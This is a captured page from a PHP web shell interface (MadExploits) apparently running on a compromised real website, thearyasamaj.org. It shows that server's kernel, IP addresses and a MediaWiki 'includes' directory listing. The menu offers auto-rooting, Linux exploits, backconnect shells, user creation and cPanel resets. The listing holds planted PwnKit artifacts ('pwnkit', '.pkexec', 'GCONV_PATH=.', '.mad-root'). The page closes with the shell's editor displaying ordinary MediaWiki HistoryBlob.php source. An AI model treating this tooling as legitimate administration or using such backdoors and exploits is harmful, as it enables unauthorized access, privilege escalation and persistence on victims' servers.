Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
thearyasamaj /
public_html /
discover /
includes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
actions
[ DIR ]
drwxr-xr-x
api
[ DIR ]
drwxr-xr-x
cache
[ DIR ]
drwxr-xr-x
context
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
debug
[ DIR ]
drwxr-xr-x
diff
[ DIR ]
drwxr-xr-x
extauth
[ DIR ]
drwxr-xr-x
filerepo
[ DIR ]
drwxr-xr-x
installer
[ DIR ]
drwxr-xr-x
interwiki
[ DIR ]
drwxr-xr-x
job
[ DIR ]
drwxr-xr-x
json
[ DIR ]
drwxr-xr-x
libs
[ DIR ]
drwxr-xr-x
logging
[ DIR ]
drwxr-xr-x
media
[ DIR ]
drwxr-xr-x
normal
[ DIR ]
drwxr-xr-x
objectcache
[ DIR ]
drwxr-xr-x
parser
[ DIR ]
drwxr-xr-x
profiler
[ DIR ]
drwxr-xr-x
resourceloader
[ DIR ]
drwxr-xr-x
revisiondelete
[ DIR ]
drwxr-xr-x
search
[ DIR ]
drwxr-xr-x
specials
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
upload
[ DIR ]
drwxr-xr-x
zhtable
[ DIR ]
drwxr-xr-x
.htaccess
14
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
Action.php
14.69
KB
-rw-r--r--
AjaxDispatcher.php
3.34
KB
-rw-r--r--
AjaxResponse.php
6.32
KB
-rw-r--r--
Article.php
54.32
KB
-rw-r--r--
AuthPlugin.php
7.85
KB
-rw-r--r--
AutoLoader.php
52.01
KB
-rw-r--r--
Autopromote.php
5.92
KB
-rw-r--r--
BacklinkCache.php
9.32
KB
-rw-r--r--
Block.php
33.87
KB
-rw-r--r--
Category.php
8.44
KB
-rw-r--r--
CategoryPage.php
2.58
KB
-rw-r--r--
CategoryViewer.php
20
KB
-rw-r--r--
Categoryfinder.php
5.16
KB
-rw-r--r--
Cdb.php
3.67
KB
-rw-r--r--
Cdb_PHP.php
10.73
KB
-rw-r--r--
ChangeTags.php
8.57
KB
-rw-r--r--
ChangesFeed.php
5.94
KB
-rw-r--r--
ChangesList.php
34.87
KB
-rw-r--r--
Collation.php
9.86
KB
-rw-r--r--
ConfEditor.php
29.16
KB
-rw-r--r--
Cookie.php
6.22
KB
-rw-r--r--
CryptRand.php
17.09
KB
-rw-r--r--
DefaultSettings.php
186.34
KB
-rw-r--r--
DeferredUpdates.php
2.06
KB
-rw-r--r--
Defines.php
7.21
KB
-rw-r--r--
EditPage.php
103.6
KB
-rw-r--r--
Exception.php
13.93
KB
-rw-r--r--
Export.php
32.68
KB
-rw-r--r--
ExternalEdit.php
3.51
KB
-rw-r--r--
ExternalStore.php
4.29
KB
-rw-r--r--
ExternalStoreDB.php
4.47
KB
-rw-r--r--
ExternalStoreHttp.php
463
B
-rw-r--r--
ExternalUser.php
8.96
KB
-rw-r--r--
FakeTitle.php
6.54
KB
-rw-r--r--
Fallback.php
5.61
KB
-rw-r--r--
Feed.php
10.26
KB
-rw-r--r--
FeedUtils.php
6.37
KB
-rw-r--r--
FileDeleteForm.php
10.06
KB
-rw-r--r--
ForkController.php
4.04
KB
-rw-r--r--
FormOptions.php
7.56
KB
-rw-r--r--
GlobalFunctions.php
107.24
KB
-rw-r--r--
HTMLForm.php
53.15
KB
-rw-r--r--
HistoryBlob.php
14.38
KB
-rw-r--r--
Hooks.php
7.89
KB
-rw-r--r--
Html.php
26.4
KB
-rw-r--r--
HttpFunctions.old.php
318
B
-rw-r--r--
HttpFunctions.php
23.29
KB
-rw-r--r--
IP.php
21.76
KB
-rw-r--r--
ImageFunctions.php
2.33
KB
-rw-r--r--
ImageGallery.php
10.42
KB
-rw-r--r--
ImagePage.php
36.96
KB
-rw-r--r--
ImageQueryPage.php
1.5
KB
-rw-r--r--
Import.php
37.73
KB
-rw-r--r--
Init.php
5.19
KB
-rw-r--r--
Licenses.php
4.17
KB
-rw-r--r--
LinkFilter.php
4.46
KB
-rw-r--r--
Linker.php
67.82
KB
-rw-r--r--
LinksUpdate.php
24.83
KB
-rw-r--r--
LocalisationCache.php
31.51
KB
-rw-r--r--
MWFunction.php
2.22
KB
-rw-r--r--
MagicWord.php
19.42
KB
-rw-r--r--
Message.php
15.95
KB
-rw-r--r--
MessageBlobStore.php
10.5
KB
-rw-r--r--
Metadata.php
5.5
KB
-rw-r--r--
MimeMagic.php
32.92
KB
-rw-r--r--
Namespace.php
9.02
KB
-rw-r--r--
OutputHandler.php
4.81
KB
-rw-r--r--
OutputPage.php
104.02
KB
-rw-r--r--
PHPVersionError.php
2.95
KB
-rw-r--r--
PageQueryPage.php
639
B
-rw-r--r--
Pager.php
33.1
KB
-rw-r--r--
PathRouter.php
11.23
KB
-rw-r--r--
PoolCounter.php
5.69
KB
-rw-r--r--
Preferences.php
47.49
KB
-rw-r--r--
PrefixSearch.php
5.55
KB
-rw-r--r--
ProtectionForm.php
20.1
KB
-rw-r--r--
ProxyTools.php
2.5
KB
-rw-r--r--
QueryPage.php
22.78
KB
-rw-r--r--
RecentChange.php
22.31
KB
-rw-r--r--
Revision.php
33.01
KB
-rw-r--r--
RevisionList.php
7.2
KB
-rw-r--r--
Sanitizer.php
52.53
KB
-rw-r--r--
SeleniumWebSettings.php
5.85
KB
-rw-r--r--
Setup.php
16.36
KB
-rw-r--r--
SiteConfiguration.php
12.88
KB
-rw-r--r--
SiteStats.php
11.54
KB
-rw-r--r--
Skin.php
41.11
KB
-rw-r--r--
SkinLegacy.php
20.25
KB
-rw-r--r--
SkinTemplate.php
62.44
KB
-rw-r--r--
SpecialPage.php
32.82
KB
-rw-r--r--
SpecialPageFactory.php
18.3
KB
-rw-r--r--
SquidPurgeClient.php
10.05
KB
-rw-r--r--
Status.php
8.62
KB
-rw-r--r--
StreamFile.php
5.46
KB
-rw-r--r--
StringUtils.php
11.32
KB
-rw-r--r--
StubObject.php
4.61
KB
-rw-r--r--
Title.php
133.73
KB
-rw-r--r--
TitleArray.php
1.95
KB
-rw-r--r--
User.php
116.25
KB
-rw-r--r--
UserArray.php
1.92
KB
-rw-r--r--
UserMailer.php
24.12
KB
-rw-r--r--
UserRightsProxy.php
5.56
KB
-rw-r--r--
ViewCountUpdate.php
3.43
KB
-rw-r--r--
WatchedItem.php
4.81
KB
-rw-r--r--
WebRequest.php
37.03
KB
-rw-r--r--
WebResponse.php
4.29
KB
-rw-r--r--
WebStart.php
4.94
KB
-rw-r--r--
Wiki.php
18.24
KB
-rw-r--r--
WikiCategoryPage.php
618
B
-rw-r--r--
WikiError.php
3.88
KB
-rw-r--r--
WikiFilePage.php
3.71
KB
-rw-r--r--
WikiMap.php
5.38
KB
-rw-r--r--
WikiPage.php
85.98
KB
-rw-r--r--
Xml.php
27.63
KB
-rw-r--r--
XmlTypeCheck.php
2.52
KB
-rw-r--r--
ZhClient.php
2.85
KB
-rw-r--r--
ZhConversion.php
415
KB
-rw-r--r--
ZipDirectoryReader.php
20.33
KB
-rw-r--r--
mime.info
3.86
KB
-rw-r--r--
mime.types
5.24
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
tidy.conf
413
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : HistoryBlob.php
<?php /** * Base class for general text storage via the "object" flag in old_flags, or * two-part external storage URLs. Used for represent efficient concatenated * storage, and migration-related pointer objects. */ interface HistoryBlob { /** * Adds an item of text, returns a stub object which points to the item. * You must call setLocation() on the stub object before storing it to the * database * * @param $text string * * @return String: the key for getItem() */ function addItem( $text ); /** * Get item by key, or false if the key is not present * * @param $key string * * @return String or false */ function getItem( $key ); /** * Set the "default text" * This concept is an odd property of the current DB schema, whereby each text item has a revision * associated with it. The default text is the text of the associated revision. There may, however, * be other revisions in the same object. * * Default text is not required for two-part external storage URLs. * * @param $text string */ function setText( $text ); /** * Get default text. This is called from Revision::getRevisionText() * * @return String */ function getText(); } /** * Concatenated gzip (CGZ) storage * Improves compression ratio by concatenating like objects before gzipping */ class ConcatenatedGzipHistoryBlob implements HistoryBlob { public $mVersion = 0, $mCompressed = false, $mItems = array(), $mDefaultHash = ''; public $mSize = 0; public $mMaxSize = 10000000; public $mMaxCount = 100; /** Constructor */ public function __construct() { if ( !function_exists( 'gzdeflate' ) ) { throw new MWException( "Need zlib support to read or write this kind of history object (ConcatenatedGzipHistoryBlob)\n" ); } } /** * @param $text string * @return string */ public function addItem( $text ) { $this->uncompress(); $hash = md5( $text ); if ( !isset( $this->mItems[$hash] ) ) { $this->mItems[$hash] = $text; $this->mSize += strlen( $text ); } return $hash; } /** * @param $hash string * @return array|bool */ public function getItem( $hash ) { $this->uncompress(); if ( array_key_exists( $hash, $this->mItems ) ) { return $this->mItems[$hash]; } else { return false; } } /** * @param $text string * @return void */ public function setText( $text ) { $this->uncompress(); $this->mDefaultHash = $this->addItem( $text ); } /** * @return array|bool */ public function getText() { $this->uncompress(); return $this->getItem( $this->mDefaultHash ); } /** * Remove an item * * @param $hash string */ public function removeItem( $hash ) { $this->mSize -= strlen( $this->mItems[$hash] ); unset( $this->mItems[$hash] ); } /** * Compress the bulk data in the object */ public function compress() { if ( !$this->mCompressed ) { $this->mItems = gzdeflate( serialize( $this->mItems ) ); $this->mCompressed = true; } } /** * Uncompress bulk data */ public function uncompress() { if ( $this->mCompressed ) { $this->mItems = unserialize( gzinflate( $this->mItems ) ); $this->mCompressed = false; } } /** * @return array */ function __sleep() { $this->compress(); return array( 'mVersion', 'mCompressed', 'mItems', 'mDefaultHash' ); } function __wakeup() { $this->uncompress(); } /** * Helper function for compression jobs * Returns true until the object is "full" and ready to be committed * * @return bool */ public function isHappy() { return $this->mSize < $this->mMaxSize && count( $this->mItems ) < $this->mMaxCount; } } /** * Pointer object for an item within a CGZ blob stored in the text table. */ class HistoryBlobStub { /** * One-step cache variable to hold base blobs; operations that * pull multiple revisions may often pull multiple times from * the same blob. By keeping the last-used one open, we avoid * redundant unserialization and decompression overhead. */ protected static $blobCache = array(); var $mOldId, $mHash, $mRef; /** * @param $hash Strng: the content hash of the text * @param $oldid Integer: the old_id for the CGZ object */ function __construct( $hash = '', $oldid = 0 ) { $this->mHash = $hash; } /** * Sets the location (old_id) of the main object to which this object * points */ function setLocation( $id ) { $this->mOldId = $id; } /** * Sets the location (old_id) of the referring object */ function setReferrer( $id ) { $this->mRef = $id; } /** * Gets the location of the referring object */ function getReferrer() { return $this->mRef; } /** * @return string */ function getText() { $fname = 'HistoryBlobStub::getText'; if( isset( self::$blobCache[$this->mOldId] ) ) { $obj = self::$blobCache[$this->mOldId]; } else { $dbr = wfGetDB( DB_SLAVE ); $row = $dbr->selectRow( 'text', array( 'old_flags', 'old_text' ), array( 'old_id' => $this->mOldId ) ); if( !$row ) { return false; } $flags = explode( ',', $row->old_flags ); if( in_array( 'external', $flags ) ) { $url=$row->old_text; $parts = explode( '://', $url, 2 ); if ( !isset( $parts[1] ) || $parts[1] == '' ) { wfProfileOut( $fname ); return false; } $row->old_text = ExternalStore::fetchFromUrl($url); } if( !in_array( 'object', $flags ) ) { return false; } if( in_array( 'gzip', $flags ) ) { // This shouldn't happen, but a bug in the compress script // may at times gzip-compress a HistoryBlob object row. $obj = unserialize( gzinflate( $row->old_text ) ); } else { $obj = unserialize( $row->old_text ); } if( !is_object( $obj ) ) { // Correct for old double-serialization bug. $obj = unserialize( $obj ); } // Save this item for reference; if pulling many // items in a row we'll likely use it again. $obj->uncompress(); self::$blobCache = array( $this->mOldId => $obj ); } return $obj->getItem( $this->mHash ); } /** * Get the content hash * * @return string */ function getHash() { return $this->mHash; } } /** * To speed up conversion from 1.4 to 1.5 schema, text rows can refer to the * leftover cur table as the backend. This avoids expensively copying hundreds * of megabytes of data during the conversion downtime. * * Serialized HistoryBlobCurStub objects will be inserted into the text table * on conversion if $wgFastSchemaUpgrades is set to true. */ class HistoryBlobCurStub { var $mCurId; /** * @param $curid Integer: the cur_id pointed to */ function __construct( $curid = 0 ) { $this->mCurId = $curid; } /** * Sets the location (cur_id) of the main object to which this object * points * * @param $id int */ function setLocation( $id ) { $this->mCurId = $id; } /** * @return string|false */ function getText() { $dbr = wfGetDB( DB_SLAVE ); $row = $dbr->selectRow( 'cur', array( 'cur_text' ), array( 'cur_id' => $this->mCurId ) ); if( !$row ) { return false; } return $row->cur_text; } } /** * Diff-based history compression * Requires xdiff 1.5+ and zlib */ class DiffHistoryBlob implements HistoryBlob { /** Uncompressed item cache */ var $mItems = array(); /** Total uncompressed size */ var $mSize = 0; /** * Array of diffs. If a diff D from A to B is notated D = B - A, and Z is * an empty string: * * { item[map[i]] - item[map[i-1]] where i > 0 * diff[i] = { * { item[map[i]] - Z where i = 0 */ var $mDiffs; /** The diff map, see above */ var $mDiffMap; /** * The key for getText() */ var $mDefaultKey; /** * Compressed storage */ var $mCompressed; /** * True if the object is locked against further writes */ var $mFrozen = false; /** * The maximum uncompressed size before the object becomes sad * Should be less than max_allowed_packet */ var $mMaxSize = 10000000; /** * The maximum number of text items before the object becomes sad */ var $mMaxCount = 100; /** Constants from xdiff.h */ const XDL_BDOP_INS = 1; const XDL_BDOP_CPY = 2; const XDL_BDOP_INSB = 3; function __construct() { if ( !function_exists( 'gzdeflate' ) ) { throw new MWException( "Need zlib support to read or write DiffHistoryBlob\n" ); } } /** * @throws MWException * @param $text string * @return int */ function addItem( $text ) { if ( $this->mFrozen ) { throw new MWException( __METHOD__.": Cannot add more items after sleep/wakeup" ); } $this->mItems[] = $text; $this->mSize += strlen( $text ); $this->mDiffs = null; // later return count( $this->mItems ) - 1; } /** * @param $key string * @return string */ function getItem( $key ) { return $this->mItems[$key]; } /** * @param $text string */ function setText( $text ) { $this->mDefaultKey = $this->addItem( $text ); } /** * @return string */ function getText() { return $this->getItem( $this->mDefaultKey ); } /** * @throws MWException */ function compress() { if ( !function_exists( 'xdiff_string_rabdiff' ) ){ throw new MWException( "Need xdiff 1.5+ support to write DiffHistoryBlob\n" ); } if ( isset( $this->mDiffs ) ) { // Already compressed return; } if ( !count( $this->mItems ) ) { // Empty return; } // Create two diff sequences: one for main text and one for small text $sequences = array( 'small' => array( 'tail' => '', 'diffs' => array(), 'map' => array(), ), 'main' => array( 'tail' => '', 'diffs' => array(), 'map' => array(), ), ); $smallFactor = 0.5; for ( $i = 0; $i < count( $this->mItems ); $i++ ) { $text = $this->mItems[$i]; if ( $i == 0 ) { $seqName = 'main'; } else { $mainTail = $sequences['main']['tail']; if ( strlen( $text ) < strlen( $mainTail ) * $smallFactor ) { $seqName = 'small'; } else { $seqName = 'main'; } } $seq =& $sequences[$seqName]; $tail = $seq['tail']; $diff = $this->diff( $tail, $text ); $seq['diffs'][] = $diff; $seq['map'][] = $i; $seq['tail'] = $text; } unset( $seq ); // unlink dangerous alias // Knit the sequences together $tail = ''; $this->mDiffs = array(); $this->mDiffMap = array(); foreach ( $sequences as $seq ) { if ( !count( $seq['diffs'] ) ) { continue; } if ( $tail === '' ) { $this->mDiffs[] = $seq['diffs'][0]; } else { $head = $this->patch( '', $seq['diffs'][0] ); $this->mDiffs[] = $this->diff( $tail, $head ); } $this->mDiffMap[] = $seq['map'][0]; for ( $i = 1; $i < count( $seq['diffs'] ); $i++ ) { $this->mDiffs[] = $seq['diffs'][$i]; $this->mDiffMap[] = $seq['map'][$i]; } $tail = $seq['tail']; } } /** * @param $t1 * @param $t2 * @return string */ function diff( $t1, $t2 ) { # Need to do a null concatenation with warnings off, due to bugs in the current version of xdiff # "String is not zero-terminated" wfSuppressWarnings(); $diff = xdiff_string_rabdiff( $t1, $t2 ) . ''; wfRestoreWarnings(); return $diff; } /** * @param $base * @param $diff * @return bool|string */ function patch( $base, $diff ) { if ( function_exists( 'xdiff_string_bpatch' ) ) { wfSuppressWarnings(); $text = xdiff_string_bpatch( $base, $diff ) . ''; wfRestoreWarnings(); return $text; } # Pure PHP implementation $header = unpack( 'Vofp/Vcsize', substr( $diff, 0, 8 ) ); # Check the checksum if mhash is available if ( extension_loaded( 'mhash' ) ) { $ofp = mhash( MHASH_ADLER32, $base ); if ( $ofp !== substr( $diff, 0, 4 ) ) { wfDebug( __METHOD__. ": incorrect base checksum\n" ); return false; } } if ( $header['csize'] != strlen( $base ) ) { wfDebug( __METHOD__. ": incorrect base length\n" ); return false; } $p = 8; $out = ''; while ( $p < strlen( $diff ) ) { $x = unpack( 'Cop', substr( $diff, $p, 1 ) ); $op = $x['op']; ++$p; switch ( $op ) { case self::XDL_BDOP_INS: $x = unpack( 'Csize', substr( $diff, $p, 1 ) ); $p++; $out .= substr( $diff, $p, $x['size'] ); $p += $x['size']; break; case self::XDL_BDOP_INSB: $x = unpack( 'Vcsize', substr( $diff, $p, 4 ) ); $p += 4; $out .= substr( $diff, $p, $x['csize'] ); $p += $x['csize']; break; case self::XDL_BDOP_CPY: $x = unpack( 'Voff/Vcsize', substr( $diff, $p, 8 ) ); $p += 8; $out .= substr( $base, $x['off'], $x['csize'] ); break; default: wfDebug( __METHOD__.": invalid op\n" ); return false; } } return $out; } function uncompress() { if ( !$this->mDiffs ) { return; } $tail = ''; for ( $diffKey = 0; $diffKey < count( $this->mDiffs ); $diffKey++ ) { $textKey = $this->mDiffMap[$diffKey]; $text = $this->patch( $tail, $this->mDiffs[$diffKey] ); $this->mItems[$textKey] = $text; $tail = $text; } } /** * @return array */ function __sleep() { $this->compress(); if ( !count( $this->mItems ) ) { // Empty object $info = false; } else { // Take forward differences to improve the compression ratio for sequences $map = ''; $prev = 0; foreach ( $this->mDiffMap as $i ) { if ( $map !== '' ) { $map .= ','; } $map .= $i - $prev; $prev = $i; } $info = array( 'diffs' => $this->mDiffs, 'map' => $map ); } if ( isset( $this->mDefaultKey ) ) { $info['default'] = $this->mDefaultKey; } $this->mCompressed = gzdeflate( serialize( $info ) ); return array( 'mCompressed' ); } function __wakeup() { // addItem() doesn't work if mItems is partially filled from mDiffs $this->mFrozen = true; $info = unserialize( gzinflate( $this->mCompressed ) ); unset( $this->mCompressed ); if ( !$info ) { // Empty object return; } if ( isset( $info['default'] ) ) { $this->mDefaultKey = $info['default']; } $this->mDiffs = $info['diffs']; if ( isset( $info['base'] ) ) { // Old format $this->mDiffMap = range( 0, count( $this->mDiffs ) - 1 ); array_unshift( $this->mDiffs, pack( 'VVCV', 0, 0, self::XDL_BDOP_INSB, strlen( $info['base'] ) ) . $info['base'] ); } else { // New format $map = explode( ',', $info['map'] ); $cur = 0; $this->mDiffMap = array(); foreach ( $map as $i ) { $cur += $i; $this->mDiffMap[] = $cur; } } $this->uncompress(); } /** * Helper function for compression jobs * Returns true until the object is "full" and ready to be committed * * @return bool */ function isHappy() { return $this->mSize < $this->mMaxSize && count( $this->mItems ) < $this->mMaxCount; } }
Close